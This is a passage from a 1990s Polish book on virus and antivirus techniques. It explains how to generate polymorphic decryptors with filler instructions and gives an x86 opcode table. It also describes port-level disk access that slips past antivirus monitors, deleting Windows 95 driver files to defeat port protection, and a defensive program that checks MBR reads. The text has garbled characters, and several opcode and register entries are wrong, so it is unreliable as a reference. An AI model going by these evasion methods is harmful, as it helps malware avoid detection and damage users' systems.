spis instrukcji procesorów 80x86 i ich kodów maszynowych, a następnie przeanalizować 
każdą z instrukcji pod kątem jej przydatności jako części wypełniacza oraz warunków, w 
których zadziała ona poprawnie. Dobrym przykładem może być analiza instrukcji 
LODSB, którą chcielibyśmy zastosować zamiast instrukcji INC SI. Oprócz tego, iż 
modyfikuje ona rejestr AX (dokładniej AL), pamiętać trzeba, iż jej poprawne działanie 

background image

zależne jest także od stanu bitu kierunku DF, zawartego w rejestrze znaczników. 
Używając jej musimy mieć więc pewność, iż wcześniej wystąpiła już instrukcja CLD, 
która właściwie ustawiła bit DF.
Powyższy przykład został dobrany celowo, gdyż pokazuje on, że aby uzyskać dany 
efekt, nie trzeba wcale używać szablonowych instrukcji, lecz poprzez użycie 
odpowiednich zamienników (działających
tak samo) można uzyskać jeszcze większą zmienność procedury de-kodującej. Innymi 
przykładami mogą tu być także poniższe operacje zerujące rejestr CX:
MOV CX,0               ; najbardziej trywialne zerowanie rejestru CX
XOR CX,CX              ; operacja XOR na tych samych operandach zeruje je
SUB CX,CX              ; odejmij CX od CX, w efekcie CX=0
AND CX,0               ; iloczyn logiczny z zerem jest zerem
ZerujCX:               ; po wykonaniu pÛtli LOOP ZerujCX          
                       ; rejestr CX bÛdzie r¾wny O
MOV CX,XYZ             ; wpisz do rejstru CX warto£µ 
SUB CX,XYZ             ; i potem j╣ od niego odejmij
MOV REJ16,0            ; zeruj jaki£ rejestr 16-bitowy 
MOV CX,REJl6           ; i za jego pomoc╣ zeruj rejestr CX
XOR CL,CL              ; kombinacje powy┐szych operacji dla rejestr¾w 8-bitowych SUB 
CH,CH              ; CL i CH │╣cznie tak┐e wyzeruja rejestr CX
Oczywiście, powyższe sekwencje nie wyczerpują wszystkich możliwości.
Powyższą operację należy stosować przy doborze nie tylko instrukcji modyfikujących 
indeks i licznik, ale i przy rozkazach będących integralną częścią dekodera. Można np. 
zamiast jednej instrukq'i ADD [INDEX],???? użyć:
CLC ADC [INDEX], ????
SUB [INDEX],-????
MOV REJ,???? 
ADD [INDEX],REJ
Możliwości jest tu, podobnie jak poprzednio, bardzo dużo. Po wygenerowaniu procedura 
dekodująca powinna mieć postać podobną do poniższej sekwencji:
.......                  ; wype│niacz
inicjuj rejestr  - licznik lub indeks 
.......                   ; wype│niacz
inicjuj rejestr - indeks lub licznik 
.......                  ; wype│niacz
pierwsza instrukcja dekodera
.......                  ; wype│niacz
druga instrukcja dekodera 
.......                  ; wype│niacz
n-ta instrukcja dekodera
.......                  ; wype│niacz
sprawdzenie warunku zako±czenia pÛtli 
.......                  ; wype│niacz
skok, je┐eli warunek spe│niony
.......                  ; wype│niacz
w│a£ciwy, zaszyfrowany 
kod wirusa, do kt¾rego

background image

zostanie przekazane
sterowanie po rozkodowaniu
.......                  ; wype│niacz
Przeprowadzając kilkakrotnie powyższe operacje można uzyskać kilkustopniową 
procedurę dekodera, która będzie bardzo trudna do wykrycia przez programy 
antywirusowe.
Aby przyspieszyć wykonywanie procedury dekodującej, często szyfruje się cały kod 
wirusa jakąś stałą procedurą, a dopiero ta jest roz-kodowywana za pomocą zmiennej 
procedury deszyfrującej, której wystarcza na rozkodowanie kilkakrotne wykonanie pętli 
dekodera. Innym sposobem może być tu całkowite pominięcie pętli i stworzenie kodu, 
który wygeneruje właściwą, stałą procedurę dekodująca w locie, budując odpowiednie 
jej instrukcje z odpowiednich fragmentów rozrzuconych po kodzie.
Poniżej zebrano informacje o wszystkich znanych instrukcjach procesorów 80x86 
(kierując się ich przydatnością do wykorzystania w generatorze).
Lista nie zawiera rozkazów koprocesora, rozkazów systemowych oraz instrukcji 
wykorzystywanych przez języki wysokiego poziomu
(nie są one wykorzystywane przez generatory polimorficzne). Oprócz kodów instrukcji 
podano opis sposobu zapisywania adresów za pomocą bajtu MmRejMem (286+) i SIB 
(386+).
Informacje podane poniżej dotyczą działania instrukcji w trybie rzeczywistym procesora, 
a więc adresowania segmentów o rozmiarze maksymalnym 64k. W przypadku trybu 
chronionego i segmentów większych niż 64k (najczęściej 4G, czyli model FLAT) należy 
wziąć pod uwagę, iż działanie przedrostków 66 i 67 ma w nich odmienne znaczenie. Na 
przykład, jeżeli chcemy wygenerować rozkaz zerowania rejestru AX (MOV AX/0), należy 
dla segmentu zadeklarowanego z dyrektywą USE16 umieścić w buforze ciąg B8, 00, 00, 
zaś dla segmentu zadeklarowanego z dyrektywą USE32 użyć sekwencji 66, B8, OO, 00. 
Chcąc natomiast zerować rejestr EAX (MOV EAX/0), należy dla segmentu USE16 użyć 
sekwencji 66, B8, 00, 00, 00, 00, a dla segmentu USE32 - B8, 00, 00, 00, 00. Jak widać, 
przedrostki 66 i 67 służą do wymuszania trybu interpretowania instrukcji, odmiennego 
od tego którego używa procesor w danym trybie. W trybie rzeczywistym wymusza on 
instrukcje 32-bitowe, w chronionym zaś 16-bitowe.
Ze względu na to, iż instrukcje często zawierają argumenty w postaci kilku bitów 
umieszczonych w różnych miejscach, wszystkie kody instrukcji zawarte poniżej 
występują jako liczby binarne.
Działanie procedury generującej wypełniacz może wyglądać mniej więcej tak:
N:=LiczbaPseudolosowa 
For I:=1 to N do GenerujInstrukcjÛ
Liczba N określa, ile instrukcji zostanie wygenerowanych podczas jednego wywołania 
procedury.
Procedura GenerujInstrukcję powinna wybrać (np. z tablicy) pierwszy bajt instrukcji i 
zapisać ją do bufora, a następnie, o ile to konieczne, dodać wymagane operandy. 
Podczas wybierania argumentów instrukcji należy sprawdzać czy wylosowany, 
przypadkowy argument nie koliduje w jakiś sposób z używanymi przez dekoder 
rejestrami. Jeżeli tak jest, procedurę wybierania argumentu należy kontynuować, aż do 
znalezienia odpowiedniego argumentu. Procedura GenerujInstrukcję powinna wyglądać 
mniej więcej tak (zapisana w pseudojęzyku, trochę podobnym do Pascala):
procedurÛ GenerujInstrukcjÛ;

background image

X:=LiczbaPseudolosowa wybieraj╣ca generowana instrukcjÛ sprawdƒ atrybuty instrukcji 
wskazywanej przez X
if s╣ jakie£ operandy then
   dla ka┐dego operandu begin    
      repeat
         arg:=Pseudolosowa       
         if arg nie koliduje z zasobami dekodera to argument znaleziony    
      untii argument znaleziony lub furtka bezpiecze±stwa
   wstaw operand=arg end else wstaw instrukcjÛ bez operand¾w;
end;
Załóżmy, iż dla dekodera zostały wybrane:
[Mem, czÛ£µ bajtu MrnRejMem, w tym przypadku [BX+SI] } 
Indeks:= 000             ;{Rejestr: z przedzia│u 000.. 111} 
Licznik:= 001            ;{trzeba zdekodowaµ u┐ywane
                         ; przez indeks dwa rejestry, w tym                                     
                         ; przypadku oczywi£cie rÛcznie } 
IndeksModyf1:= 110       ; [numer rejstru SI} 
IndeksModyf2:= 011       ; (numer rejestru BX}
Niech procedura GenerujInstrukcje wybierze teraz do wstawienia np. rozkaz DEC, który 
w tabeli jest zapisany jako:
01001Rej       DEC rejestr Rej.
Jak widać, instrukcja ta posiada parametr Rej, w tym przypadku rejestr 16 - lub 32 - 
bitowy. Załóżmy, iż rejestr jest 16-bitowy. Zapisana w asemblerze sekwencja szukająca 
operandu dla instrukcji powinna wyglądać mniej więcej tak:
SzukajArgumentu:
MOV AX,7 
Call RandomAX               ; weƒ liczbÛ z przedzia│u 000...111

                ; liczba w AL (bo AH-0)

cmp AL,IndeksModyfl         ; czy rejestr zajÛty przez 

            

                            ; pierwsza czÛ£µ indeksu ? 
je SzukajArgumentu
cmp AL, IndeksModyf2        ; czy rejestr zajÛty przez

                ; druga czÛ£µ indeksu ? 

je SzukajArgumentu
cmp AL, Licznik             ; czy rejestr zajÛty przez licznik ? 
je SzukajArgumentu
cmp AL,100b                 ; czy rejestr to SP ? 
je SzukajArgumentu

                ; argument znaleziony i jest w AL 

                        

                            ; AL=00000arg - argument na trzech

                ; m│odszych bitach 

or al, 01001000b             ; zsumuj logicznie z 5 bitami kodu

                ; operacj i DEC

stosb                        ; zapisz ca│a instrukcjÛ DEC arg do bufora
Postępując w podobny sposób można rozszerzyć generator o wszystkie możliwe do 
wykorzystania, opisane dalej instrukcje.
W opisie instrukcji przyjęto następujące oznaczenia:

background image

Rej - określa rejestr biorący udział w operacji; rodzaj rejestru (8-, 16-, czy 32-bitowy) jest 
określany na podstawie bitu D (jeżeli ten istnieje w instrukcji) oraz w zależności od tego, 
czy przed instrukcją wystą-pił przedrostek 66. Jeżeli D=0, to rejestr jest 8-bitowy; jeżeli 
przedrostek nie wystąpił i D=0, to 16-bitowy, w innym wypadku jest on 32-bitowy. 
Wartości przypisane poszczególnym rejestrom są następujące:
Rej

000

001

010

011

100

101

110

111

8-bitowe

AL.

CL

DL

BL

AH

CH  

DH

BH

16-bitowe AX

CX

DX

BX

SP

BP

SI

DI

32-bitowe EAX

ECX

EDX

EBX

ESP

EBP

ESI

EDI

Mem - określa adres w pamięci, na którym wykonywana jest operacja; sposób 
adresowania zależy od obecności przedrostka 67 oraz od pola struktury MmRejMem, 
będącej drugim bajtem instrukcji. W zależności od zawartości pola Mm zmienia się 
wielkość offsetu dodawanego do odpowiednich rejestrów (08 - ofset 8 bitowy, 016 - 16 
bitowy, 032 - 32 bitowy).
Jeżeli nie wystąpił przedrostek 67, to używany jest następujący sposób adresowania (16 
- bitowy, Seg oznacza domyślny segment adresujący dane, jeżeli przed instrukcja nie 
wystąpił przedrostek innego segmentu):
Mem

Seg/Mm

00

01

10

11 - operacja 
na rejestrze o 
numerze Mam, 
a nie na 
pamieci

000

DS

[BX+SI]

[BX+SI+O8]

[BX+SI+O16]

001

DS

[BX+DI]

[BX+DI+O8]

[BX+DI+O16]

010

SS

[BP+SI]

[BP+SI+O8]

[BP+SI+O16]

011

SS

[BP+DI]

[BP+DI+O8]

[BP+DI+O16]

100

DS

[SI]

[SI+O8]

[SI+O16]

101

DS

[DI]

[DI+O8]

[DI+O16]

110

DS/SS

DS:[O16]

SS:[BP+O8]

SS:[BP+O16]

111

DS

[BX]

[BX+O8]

[BX+O16]

Jeżeli wystąpił przedrostek 67, to używany jest następujący sposób adresowania (32-
bitowy):
Mem

Seg/Mm

00

01

10

11-operacja na 
rejestrze o 
numerze Mem, 
a nie na 
pamięci

000

DS

[EAX]

[EAX+O8}

[EAX+O32]

001

DS

[ECX]

[ECX+O8]

[ECX+O32]

010

DS

[EDX]

[EDX+O8]

[EDX+O32]

011

DS

[EBX]

[EBX+O8]

[EBX+O32]

100

[SIB]

[SIB+O8]

[SIB+O32]

101

DS/SS

DS:[O32]

SS:[EBP+O8]

SS:[EBP+O32]

110

DS

[ESI]

[ESI+O8]

[ESI+O32]

111

DS

[EDI]

[EDI+O8]

[EDI+O32]

background image

Użyty w tabeli skrót SIB (ang. Scale Index Base) oznacza rozszerzony sposób 
adresowania, w którym ułatwiony jest m.in. dostęp do tablic. Bajt opisujący pola SIB 
występuje zaraz po bajcie MmRejMem. Sposób obliczania przez procesor adresu 
zawartego w SIB jest następujący:
Adres SIB:=Baza+Indeks*(2^N), gdzie
> baza opisywana jest przez bity 7-5 bajtu SIB;
> indeks opisywany jest przez bity 4-2 bajtu SIB;
> liczba N opisywana przez bity 1-0 bajtu SIB (tak więc jedyna możliwość to mnożenie 
indeksu przez 2^00=1, 2^01=2, 2^10=4 2^11=8).
Poniższa tabela zawiera wartości, które może przyjmować Baza.
Baza

Seg/Mm

00

01,10,11

  

000

DS

EAX

EAX

001

DS

ECX

ECX

010

DS

EBX

EBX

011

DS

EDX

EDX

100

SS

ESP

ESP

101

DS/SS

DS:O32

SS:EBP

110

DS

ESI

ESI

111

DS

EDI

EDI

Poniższa tabela zawiera wartości, które może przyjmować Indeks.
Index

Rejestr

000

EAX

001

ECX

010

EBX

011

EDX

100

-

101

EBP

110

ESI

111

EDI

Sg - opisuje rodzaj segmentu użytego w operacji.
Możliwe wartości Sg to: 00=ES, 01=CS, 10=SS, 11=DS
Seg - rozszerzone Sg (uwzględnia FS i GS).
Możliwe wartości Seg to: 000=ES, 001=CS, 010=SS, 011-DS, 100=FS, 101-GS
Wwww - określa różne warunki występujące w skokach lub rozkazach SRTxxxx i może 
przyjmować wartości przedstawione w poniższej tabeli:
Wartość            Warunek 
0000        O - overflow
0001        NO - not overflow
0010        C-carry
0011        NC-notcarry
0100        Z-zero
0101        NZ-not zero
0110        NA-notabove
0111        A-above

background image

1000        S-sign
1001        NS-notsign
1010        P-parity
1011        NP-notparity
1100        L-less
1101        NL-not less
1110        NG-notgreat
1111        G-great

Ope - używane przez niektóre instrukcje do określania operacji matematycznej lub 
logicznej, którą ma instrukcja wykonać.
Ope

000

001

010

011

100

101

110

111

Opis

ADD

OR

ADC

SBB

AND

SUB

XOR

CMP

Op2 - tworzy podgrupę operacji wykonywanych przez instrukcje o bajcie początkowym 
=82/83 (jest to zrnniejszona lista Ope).
Ope2

000

001

010

011

100

101

110

111

Opis

ADD

ADC

SBB

SUB

CMP

Op3 - opisuje grupę instrukcji o pierwszym kodzic=F6/F7.
Ope

000

001

010

011

100

101

110

111

Opis

TEST

NOT

NEG

MUL

IMUL

DIV

IDIV

Op4 - opisuje instrukcje z pierwszym bajtem =FE,
Ope

000

001

010

011

100

101

110

111

Opis

INC

DEC

Op5 - opisuje instrukcje z pierwszym bajtem =FF.
Ope

000

001

010

011

100

101

110

111

Opis

INC

DEC

CALL 
NEAR

CALL 
FAR

JMP 
NEAR

JMP 
FAR

PUSH

Ops - opisuje różne rodzaje przesunięć.
Ope

000

001

010

011

100

101

110

111

Opis

ROL

ROR

RCL

RCR

SHL

SHR

SAL

SAR

Akumulator - oznacza rejestr AL, AX lub EAX; rodzaj rejestru wybierany jest na 
podstawie bitu D (jeżeli ten jest w instrukcji) oraz obecności przedrostka 66.
Wartkom8 - oznacza bajt określający liczbę będącą operandem instrukcji.
WartkomD - oznacza bajt, słowo lub dwusłowo (zależnie od bitu D i przedrostka 66) 
określające liczbę będącą operandem instrukcji.
Reladre8 - określa relatywny offset (z zakresu -128..+127), który dodawany jest do 
wskaźnika instrukcji IP po wykonaniu np. skoku lub procedury.
ReladreD - określa relatywny offset, który dodawany jest do wskaźnika instrukcji IP po 
wykonaniu np: skoku, procedury (rodzaj ofsetu: 16- czy 32- bitowy określany jest na 
podstawie obecności przedrostka 66).
Numport8 - określa numer portu (8 bitów), na którym wykonuje się operację IN lub OUT.

background image

Addroffs i Addrsegm - określają segment i offset, pod który skacze procesor po 
wykonaniu dalekiej procedury lub dalekiego skoku.
bit D - określa rodzaj operandu: bajt, słowo lub dwusłowo;
- jeżeli nie wystąpił przedrostek 66 i D=0: bajt,
- jeżeli nie wystąpił przedrostek 66 i D=1: słowo,
- jeżeli wystąpił przedrostek 66 i D=1: podwójne słowo.
bit S - określa kierunek przesyłania danych podczas wykonywania instrukcji 
zawierających bajt MmRejMem; S=0 Operacja Mem, Rej i S=1 Operacja Rej, Mem.
bit F - ustawiony, oznacza, iż jest to RETF, w przeciwnym razie RETN.
Jeżeli mnemonik instrukcji zmienia się przy użyciu przedrostka 66 lub bitu D, kolejne 
nazwy są oddzielone przecinkiem.
Kody Instrukcji
Kod instrukcji (binarnie)                   Mnemonik
00001111 1000Wwww Reladr16           JWwww Reladr16
00001111 1001Wwww MmRejMem           SETWwww byte ptr [Mem]
00001111 10100000                    PUSH FS
00001111 10100001                    POP FS
00001111 10100010                    CPUID
00001111 10100011 MmRejMem           BTMem,Rej
00001111 10100100 MmRejMem Wartkom8  SHLD Mem,Wartkom8
00001111 10100101 MmRejMem           SHLD Mem,Rej,CL
00001111 1010011D MmRejMem           CMPXCHG Mem,Rej
00001111 10101000                    PUSH GS
00001111 10101001                    POP GS
00001111 10101011 MmRejMem           BTS Mem,Rej
00001111 10101100 MmRejMem Wartkom8  SHRD Mem,Wartkom8
00001111 10101101 MmRejMem           SHRD Mem,Rej,CL
00001111 10101111 MmRejMem           IMUL Rej,Mem
00001111 10110010 MmRejMem           LSS Rej,Mem
00001111 10110011 MmRejMem           BTS Mem,Rej
00001111 10110100 MmRejMem           LFS Rej,Mem
00001111 10110101 MmRejMem           LGS Rej,Mem
00001111 10110110 MmRejMem           MOVZX Rej,Mem
00001111 10110111 MmR32Mem           MOVZX R32,Mem
00001111 10111011 MmRejMem           BTC Mem,Rej
00001111 10111100 MmRejMem           BSF Mem,Rej
00001111 10111101 MmRejMem           BSR Mem,Rej
00001111 10111110 MmRejMem           MOVSX Rej,Mem
00001111 10111111 MmR32Mem           MOVSX R32,Mem
00001111 1100000D MmRejMem           XADD Mem,Rej          
00001111 11000111 Mm001Mem           CMPXCHG8B mem
00001111 11001r32                    BSWAP r32
00001111 11011010 Mm100Mem Wartkom8  BT Mem,Wartkom8
00001111 11011010 Mm101Mem Wartkom8  BTS Mem,Wartkom8
00001111 11011010 Mm110Mem Wartkom8  BTR Mem,Wartkom8
00001111 11011010 Mm111Mem Wartkom8  BTC Mem,Wartkom8
000Sg110                             PUSH rejestr segmentowy Sg 

background image

000Sg111                             POP rejestr segmentowy Sg, Sg<>01,
                                     bo 00001111= rozszerzene instrukcje (w 8086 
                                     by│a to instrukcja POP CS)
00100111                             DAA
00101111                             DAS
00110111                             AAA
00111111                             AAS
001Sg110                             przedrostek segmentu Sg
000pe0SD MmRejMem                    S=0,Ope Mem,Rej, S=1 Ope Reg,Mem
000pe10D WartkomD                    Ope Akumulator,WartkomD
01000Rej                             INC rejestr Rej
01001Rej                             DEC rejestr Rej
01010Rej                             PUSH rejestr Rej
01011Rej                             POP rejestr Rej
01100000                             PUSHA
01100001                             POPA
01100100                             FS:
01100101                             GS:
01100110                             przedrostek instrukcji 386+ (dane 32-bitowe)
01100111                             przedrostek instrukcji 386+ (operandy 32-
                                     bitowe)
01101000 WartkomD                    PUSH WartkomD
0110100D MmRejMem WartkomD           IMUL Rej,WartkomD,Mem
01101010 Wartkom8                    PUSH Wartkom8
0110110D                             INSB, INSW, INSWD
0110111D                             OUTSB, OUTSW, OUTSD
0111wwww Reladre8                    JWwww Reiadre8
1000000D MmOpeMem WartkomD           Ope Mem,WartkomD
1000001D MmOp2Mem Wartkom8           Op2 Mem, Integer (Wartkom8)
1000010D MmRejMem                    TEST Mem,Rej
1000011D MmRejMem                    XCHG Mem,rej
100010SD MmRejMem                    S=0, MOV Mem,Rej, S=1 MOV Reg,Mem
10001101 MmRejMem                    LEA Rej,Mem
10001111 Mm000Mem                    POP Mem
100011S0 MmSegMem                    S=0 MOV Mem,Seg, S=1 MOV Seg, Mem
10010Rej                             XCHG rejestr Rej
10011000                             CBW/CWDE
10011001                             CWD/CDQ
10011010 Addroffs Addrsegm           CALL FAR Addrsegm:Addroffs
10011011                             wait
10011100                             PUSHF/PUSHFD
10011101                             POPF/POPFD
10011110                             SAHF
10011111                             LAHF
101000SD WartkomD                    S=0 MOV Akumutator,[WartkomD] ; S=1 MOV 
[WartkomD],Akumulator
1010010D                             MOVSB,MOVSW, MOVSD

background image

1010011D                             CMPSB, CMPSW, CMPSD
1010100D WartkomD                    TEST Akumulator,WartkomD
1010101D                             STOSB, STOSW, STOSD
1010110D                             LODSB, LODSW, LODSD
1010111D                             SCASB, SCASW, SCASD
1011DRej WarkomD                     MOV Rej,WartkomD
1100000D MmOpsMem Wartkom8           Ops Mem,Wartkom8
11000100 MmRejMem                    LES Rej,Mem
11000101 MmRejMem                    LDS Rej,Mem
1100011D Mm000Mem WarkomD            MOV Mem,WartkomD
11001100                             INT3
11001101 Wartkom8                    INT Wartkom8
11001110                             INTO
11001111                             IRET
1100F010 WartkomF                    RET WartkomF
1100F011                             RET N/F
1101000D MmOpsMem                    Ops Mem,1
1101001D MmOpsMem                    Ops Mem,CL
11010110                             SETALC
11010111                             XLAT
11100000 Reladre8                    LOOPNZ Reladre8
11100001 Reladre8                    LOOPZ Reiadre8
11100010 Reladre8                    LOOP Reladre8
11100011 Reladre8                    JCXZ/JECXZ Reladre8
11100100 Wartkom8                    AAM Wartkom8, zwykle Wartkom8=10
11100101 Wartkom8                    AAD Wartkom8, zwykle Wartkom8=10
1110010D Numport8                    IN Akumulator,Numport8
1110011D Numport8                    OUT Numport8,Akumulator
11101000 Reladr16                    CALLNEAR Reladr16
11101001 Reladr16                    JMP NEAR Reladr16
11101010 Addroffs Addrsegm           JMP FAR Addrsegm:Addroffs
11101011 Reladre8                    JMP SHORT Reladre8
1110110D                             IN Akumulator, DX
1110111D                             OUT DX,Akumulator
11110000                             LOCK
11110010                             REPNZ
11110011                             REP, REPZ
11110101                             CMC
1111011D Mm000Mem WartkomD           TEST Mem,Wartkom8
1111011D MmOp3Mem                    Op3 Mem
11111000                             CLC
11111001                             STC
11111010                             CLI
11111011                             STI
11111100                             CLD
11111101                             STD
11111110 MmOp4Mem                    Op4 Mem

background image

11111111 MmOp5Mem                    Op5 Mem

ROZDZIAŁ 9

9.1. Sposoby dostępu do dysków
Najczęściej stosowany (bo najprostszy) mechanizm dostępu do plików lub sektorów 
polega na używaniu funkcji i przerwań programowych DOS (INT 21h, INT 25h, INT 26h). 
Najczęściej korzystają z niego wirusy plikowe i czasem wirusy BOOT-sektorów. Ze 
względu na możliwość istnienia zainstalowanego w systemie monitora antywirusowego 
sposób ten można bezpiecznie wykorzystać tylko po wyłączeniu aktywnego monitora lub 
też po znalezieniu oryginalnych procedur wejścia do odpowiednich przerwań.
Na dużo niższym poziomie operują wirusy infekujące Główny Rekord Ładujący (MBR), 
BOOT-sektory i JAP. Korzystają one z przerwania programowego INT 13h, operującego 
bezpośrednio na fizycznych sektorach dysków (w przypadku dyskietek można użyć 
przerwania 40h). Tak jak w przypadku przerwań i funkcji DOS, funkcje BIOS mogą być 
dość łatwo monitorowane przez program antywirusowy, a w nowoczesnych BIOS-ach - 
nawet przez program obsługi przerwania. W takim wypadku pozostaje jedyna 
bezpieczna metoda ingerencji w zawartość sektorów, polegająca na użyciu 
bezpośrednich odwołań do portów.
Pisanie procedur do obsługi plików, które na najniższym poziomie odwoływałyby się do 
portów nie ma sensu, natomiast łatwo jest napisać takie procedury tylko dla 
pojedynczych, wybranych sektorów, czyli np. MBR, BOOT-sektora, co w przypadku 
dysków (zgodnych z IDE lub EIDE) oraz dyskietek jest względnie proste. W przypadku 
dysków SCSI jest to o wiele trudniejsze, chociażby ze względu na brak dokładnej 
dokumentacji technicznej tych urządzeń, stąd też trzeba obsługiwać je przez funkcje 
systemowe (można pokusić się o poszukanie czystych wejść do procedur ich obsługi).
Operując na portach należy pamiętać, iż wraz z pojawieniem się dysków o 
pojemnościach o wiele większych od tych, które mogą być standardowo obsługiwane 
przez funkcje BIOS przerwania 13h, zaszła konieczność jakiegoś obejścia 
dotychczasowych ograniczeń związanych z pojemnością dysków widzianych przez 
BIOS. Niektóre twarde dyski posiadają więc w swych pierwszych fizycznych sektorach 
(począwszy od MBR) coś w rodzaju nakładki (ang. Dynamic Drive Overlay), która po 
załadowaniu do pamięci przez program zawarty w pierwszym fizycznym sektorze 
przejmuje i poszerza odpowiednie funkcje obsługi dysku. Aby możliwe było dalsze 
wczytywanie systemu, po wczytaniu nakładki odwołania do sektorów są przekierowy-
wane (do numeru cylindra dodawane jest l). W efekcie prawdziwy sektor MBR wcale nie 
jest umiejscowiony w sektorze o adresie: cylinder 0, strona 0, sektor l, lecz pod 
adresem: cylinder l, strona 0, sektor l. Nieuwzględnienie tego faktu może przyczynić się 
do przypadkowego zniszczenia danych na dysku podczas zapisywania przy użyciu 
portów, a co za tym idzie, do szybszego wykrycia wirusa.
Najskuteczniejszym sposobem uchronienia się przed odczytem i zapisem bezpośrednio 
przez porty jest odpowiednia kontrola dostępu do urządzeń we/wy na poziomie trybu 
chronionego przy pomocy tablic map portu. Jednak i to zabezpieczenie nie wydaje się 
bardzo pewne, gdyż najczęściej istnieje jakaś możliwość ingerencji w jądro systemu 
nawet dla trybu chronionego (jeżeli nie w pamięci, to w plikach), a co za tym idzie, 

background image

można zmienić odpowiednią część systemu, odpowiedzialną w tym wypadku za 
operacje na dyskach.
W przypadku systemu Windows 95 (działającego w trybie chronionym) można 
spróbować wymuszać jego uruchamianie w tzw. trybie zgodności z MS DOS. Tryb ten 
oznacza, iż wszelkie wykonywane operacje dyskowe są przekierowywane do trybu 
rzeczywistego, a tam nie działa mechanizm ochrony portów.
Aby wymusić używanie tego trybu przez Windows 95, należy skasować lub tymczasowo 
usunąć następujące pliki:
> ściezka\SYSTEM\IOSUBSYS\HSFLOP.PDR - plik odpowiedzialny za dyski FDD;
> ścieźka\SYSTEM\IOSUBSYS\ESDI_506.PDR - plik odpowiedzialny za dyski twarde 
zgodne z (E)IDE;
> ścieżka\SYSTEM\IOSUBSYS\SCSIPORT.PDR - plik odpowiedzialny za dyski twarde 
SCSI,
gdzie ścieżka oznacza katalog, w którym umieszczony jest system Windows. 
Zastosowanie tego triku spowoduje, iż przy następnym ładowaniu systemu Windowa 
zostanie on uruchomiony w trybie zgodności z MS DOS.
Odnalezienie katalogu, w którym umieszczony jest system Windows, nie stanowi 
problemu. Wystarczy w bloku pamięci należącym do środowiska (ang. enviroment) 
odnaleźć jedną ze zmiennych (nie zawsze występują wszystkie):
> WIN=;
> WINDIR=;
> WINBOOTDIR=
i odczytać opisywany przez daną zmienną katalog, a następnie już bez trudu uzyskać 
dostęp do plików *.PDR.
Poniżej zamieszczono dwa programy, z których jeden odczytuje przy pomocy portów 
tablicę partycji pierwszego dysku twardego, a drugi BOOT-sektor dyskietki (musi być w 
napędzie). Odczytane sektory są porównywane z zawartością sektorów widzianych 
przez funkcje BIOS, zaś wynik porównania jest wyświetlany na ekranie.

;----------------------------------------------------------------------------;
;                                                                            ;
;       Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe"        ;
;                                                                            ;
;                  IDE_PORT v1.0, Autor : Adam Blaszczyk 1997                      ;
;                                                                            ;
;       Program odczytuje sektor tablicy partycji pierwszego twardego dysku  ;
;       przez porty IDE i przerwanie BIOS, a nastepnie tak odczytane sektory ;
;       porownuje ze soba.                                                   ;
;       Umozliwia wiec sprawdzenie, czy odczyty BIOSa nie sa zafalszowane    ;
;       przez jakiegos wirusa.                                               ;
;                                                                            ;
; UWAGA : Odczyt przez porty dziala tylko dla dyskow zgodnych z IDE lub EIDE ;
;         i nie dziala w systemie Windows'95                                 ;
;                                                                            ;
; Kompilacja :                                                               ;
;             TASM  /t IDE_PORT.ASM                                          ;
;             TLINK IDE_PORT.OBJ                                             ;

background image

;                                                                            ;
;----------------------------------------------------------------------------;
IDE_PORT SEGMENT
         ASSUME CS:IDE_PORT, DS:IDE_PORT
         ORG 100h
  NUL = 00h                       ; \
  LF  = 0Ah                       ;  - stale potrzebne do deklaracji
  CR  = 0Dh                       ; /  lancuchow napisowych

Start:
        lea    si,TeCopyRight     ; \ wyswietl info o programie
        Call   Druk               ; /

        mov    ax,1600h           ; sprawdz, czy praca w systemie Windows ?
        int    2Fh

        test   al,7Fh             ;
        jz     NieMaWindows       ; ZF=0 - nie ma Windows

        cmp    al,4               ; czy wersja Windows < 4.0 ?
        jb     NieMaWindows       ; TAK - to nie Windows 95
                                  ; NIE - to Windows 95
        lea    bp,TeWindows95     ; \ program nie dziala pod Windows 95
        jmp    Rozne              ; / wiec koncz

NieMaWindows:

        mov    dx,1F2h            ; 1F2 - okresla ile sektorow czytac
        mov    al,00000001b       ; czytaj 1 sektor
        out    dx,al              ; wyslij do IDE

        inc    dx                 ; 1F3 - okresla, ktory sektor pierwszy
        mov    al,00000001b       ; czytaj sektor nr 1
        out    dx,al              ; wyslij do IDE

        inc    dx                 ; 1F4 - starsza czesc cylindra (bity 0-1)
        mov    al,00000000b       ; czytaj cylinder 0
        out    dx,al              ; wyslij do IDE

        inc    dx                 ; 1F5 - mlodsza czesc cylindra (bity 0-7)
        mov    al,00000000b       ; czytaj cylinder 0
        out    dx,al              ; wyslij do IDE

        inc    dx                 ; 1F6 - nr dysku + nr glowicy
        mov    al,10100000b       ; 101NGggg, N=0=master/1=slave, Gggg - glowica
        out    dx,al              ; wyslij do IDE

background image

        inc    dx                 ; 1F7 - rejestr rozkazowy IDE
        mov    al,00100000b       ; rozkaz odczytu
        out    dx,al              ; wyslij do IDE

        lea    bp,TeIDENieDziala  ; odczyt przez porty nie dziala
        mov    cx,0FFFFh          ; tyle razy odczytuj z portu

CzekajNaDane:
        in     al,dx              ; czekaj na dane z kontrolera IDE
        test   al,00001000b       ; bit 3 ustawiony ?
        loopz  CzekajNaDane       ; TAK - mozna czytac, NIE - czekaj dalej

        test   al,00001000b       ; bit 3 ustawiony ?
        jz     Rozne              ; NIE - jakis blad

        mov    cx,256             ; 256x2 bajtow
        lea    di,SektorIDE       ; gdzie zapisac dane
        mov    dx,1F0h            ; 1F0 - port danych IDE
        cld                       ; INC DI w operacjach lancuchowych
CzytajSektor:
        in     ax,dx              ; czytaj slowo
        stosw                     ; zachowaj je
        loop   CzytajSektor       ; czytaj 256 slow=512 bajtow sektora

        mov    dx,80h             ; dysk twardy nr 0, glowica 0
        mov    cx,1               ; cylinder 0, sektor 1
        lea    bx,SektorBIOS      ; dokad czytac sektor
        mov    ax,0201h           ; funkcja BIOS - czytaj 1 sektor
        int    13h                ; wywolaj funkcje BIOS

        lea    bp,TeInne          ; komunikat ze rozne

        mov    cx,256             ; porownaj 256 slow=512 bajtow
        lea    si,SektorIDE       ; bufor z sektorem odczytanym przez porty
        lea    di,SektorBIOS      ; bufor z sektorem odczytanym przez BIOS
        rep    cmpsw              ; porownaj oba bufory
        jne    Rozne              ; ZF=0 - takie same, ZF=1 - rozne

        lea    bp,TeTakieSame     ; komunikat, ze takie same
Rozne:
        mov    si,bp              ; komunikat : rozne lub takie same
        Call   Druk               ; wyswietl komunikat

        mov    ax,4C00h           ; funkcja DOS - koncz program
        int    21h                ; wywolaj funkcje

Druk:                             ; procedura wyswietla tekst ASCIIZ z CS:SI

background image

